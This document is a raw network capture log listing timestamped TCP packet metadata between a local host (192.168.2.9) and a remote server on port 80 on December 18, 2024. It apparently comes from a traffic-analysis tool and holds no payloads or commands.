Dec 18, 2024 14:08:02.389830112 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.390707016 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.390713930 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.390768051 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.391530991 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.391539097 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.391611099 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.392318964 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.392375946 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.392992020 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.393676996 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.393687010 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.393748045 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.394334078 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.394347906 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.394428968 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.395546913 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.395554066 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.395618916 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.396720886 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.396728992 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.396775961 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.397849083 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.398104906 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.398158073 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.398741961 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.399272919 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.399342060 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.400449038 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.400456905 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.400502920 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.401499033 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.402122974 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.402170897 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.403681040 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.403692007 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.403749943 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.404886961 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.404894114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.404944897 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.406416893 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.406424999 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.406482935 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.406507015 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.406512976 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.406555891 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.406666040 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.406672001 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.406692028 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.406708956 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.406718969 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.406738997 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.406745911 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.406753063 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.406790018 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.407407045 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.407421112 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.407470942 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.408380032 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.408449888 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.408493042 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.409219980 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.409288883 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.409360886 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.410115957 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.410164118 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.410208941 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.411106110 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.411186934 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.411214113 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.412173986 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.412244081 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.412353992 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.412986994 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.412995100 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.413045883 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.413837910 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.413965940 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.414021969 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.414869070 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.415071011 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.415121078 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.415887117 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.415894985 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.415949106 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.416975021 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.416982889 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.417032003 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.417702913 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.417711973 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.417757988 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.418562889 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.418570042 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.418611050 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.419441938 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.419497013 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.419553995 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.420412064 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.420459986 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.420519114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.421462059 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.421468973 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.421513081 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.422344923 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.422529936 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.422584057 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.423191071 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.423366070 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.423414946 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.424175978 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.424228907 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.424249887 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.425055981 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.425327063 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.425378084 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.427073002 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.427083969 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.427098036 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.427103996 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.427131891 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.427150011 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.428049088 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.428056955 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.428087950 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.428864002 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.428930998 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.428987980 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.452883959 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.572259903 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.572411060 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.572520971 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.572701931 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.572799921 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.572866917 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.573632956 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.573755026 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.573877096 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.574558020 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.574884892 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.574947119 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.574995041 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.576086044 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.576169014 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.576215029 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.576786041 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.576900959 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.576950073 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.577718019 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.577778101 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.577873945 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.578634977 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.578679085 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.578752041 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.579722881 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.579731941 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.579763889 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.580485106 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.580554962 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.580601931 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.581419945 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.581522942 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.581587076 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.582330942 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.582371950 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.582439899 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.583271027 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.583386898 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.583435059 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.584203959 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.584285975 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.584337950 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.585180044 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.585223913 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.585254908 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.586133003 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.586194992 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.586299896 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.587060928 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.587203979 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.587255001 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.587996006 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.588040113 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.588105917 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.588959932 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.589065075 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.589121103 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.590012074 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.590051889 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.590065002 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.590840101 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.590848923 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.590887070 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.591743946 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.591890097 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.591931105 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.592685938 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.592735052 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.592803001 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.593609095 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.593662024 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.593738079 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.594563007 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.594603062 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.594608068 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.595546007 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.595698118 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.595746994 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.596401930 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.596566916 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.596621037 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.597361088 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.597429991 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.597489119 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.598257065 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.598306894 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.598330021 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.599231958 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.599330902 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.599371910 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.600183010 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.600191116 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.600231886 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.601069927 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.601125956 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.601248026 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.601970911 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.602016926 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.602087021 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.603003025 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.603020906 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.603066921 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.604104042 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.604193926 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.604231119 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.605235100 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.605242968 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.605293989 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.605967999 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.606050014 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.606106043 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.606684923 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.606692076 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.606724977 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.607633114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.607692003 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.607723951 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.608671904 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.608714104 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.608751059 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.609505892 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.609596014 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.609654903 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.610549927 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.610557079 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.610601902 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.611354113 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.611491919 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.611535072 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.612286091 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.612349987 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.612390041 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.613540888 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.613594055 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.613704920 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.614671946 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.614681959 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.614728928 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.615075111 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.615196943 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.615247011 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.616060972 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.616067886 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.616113901 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.616934061 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.617033958 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.617108107 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.617892981 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.617938042 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.617953062 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.618877888 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.618884087 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.618926048 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.619771957 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.619941950 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.619997025 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.621051073 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.621058941 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.621108055 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.764192104 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.764209986 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.764286995 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.764431000 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.764635086 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.764692068 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.765336037 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.765424967 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.765470028 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.766450882 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.766520023 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.766585112 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.767385006 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.767393112 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.767453909 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.767939091 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.767946005 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.767978907 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.768912077 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.769020081 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.769064903 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.769748926 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.769841909 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.769911051 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.770694971 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.770845890 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.770909071 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.771691084 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.771778107 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.771836042 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.772953987 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.772963047 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.773001909 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.773742914 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.773981094 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.774068117 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.774537086 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.774647951 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.774727106 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.775363922 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.775614023 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.775671005 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.777010918 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.777018070 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.777091980 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.777560949 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.777575970 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.777628899 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.778340101 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.778548956 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.778625011 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:02.779145002 CET	80	49780	176.113.115.178	192.168.2.9
